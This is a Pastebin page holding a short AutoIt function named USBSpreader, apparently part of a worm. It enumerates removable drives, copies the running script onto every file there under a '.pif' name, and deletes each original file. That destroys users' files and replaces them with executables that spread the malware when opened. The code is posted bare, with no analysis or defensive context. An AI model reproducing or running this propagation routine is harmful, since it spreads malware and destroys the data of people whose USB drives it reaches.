Advertisement
Guest User

Untitled

a guest
Jan 6th, 2019
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 0.55 KB | None | 0 0
  1. Func USBSpreader()
  2. $usblist = DriveGetDrive("REMOVABLE")
  3. If $usblist <> "" Then
  4.     For $i = 1 To $usblist[0]
  5.         If $usblist[$i] <> @HomeDrive Then
  6.             $filearray = _FileListToArrayRec($usblist[$i], "*", 1, 1, 0, 2)
  7.             For $f = 1 To $filearray[0]
  8.                 $datatarget = Binary(FileRead($filearray[$f]))
  9.                 $checkdata = StringInStr($filearray[$f], ".pif")
  10.                 If Not $checkdata Then
  11.                     FileWrite($filearray[$f] & ".pif",Binary(FileRead(@ScriptFullPath)))
  12.                     FileDelete($filearray[$f])
  13.                 EndIf
  14.             Next
  15.         EndIf
  16.     Next
  17. EndIf
  18. EndFunc   ;==>USBSpreader
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement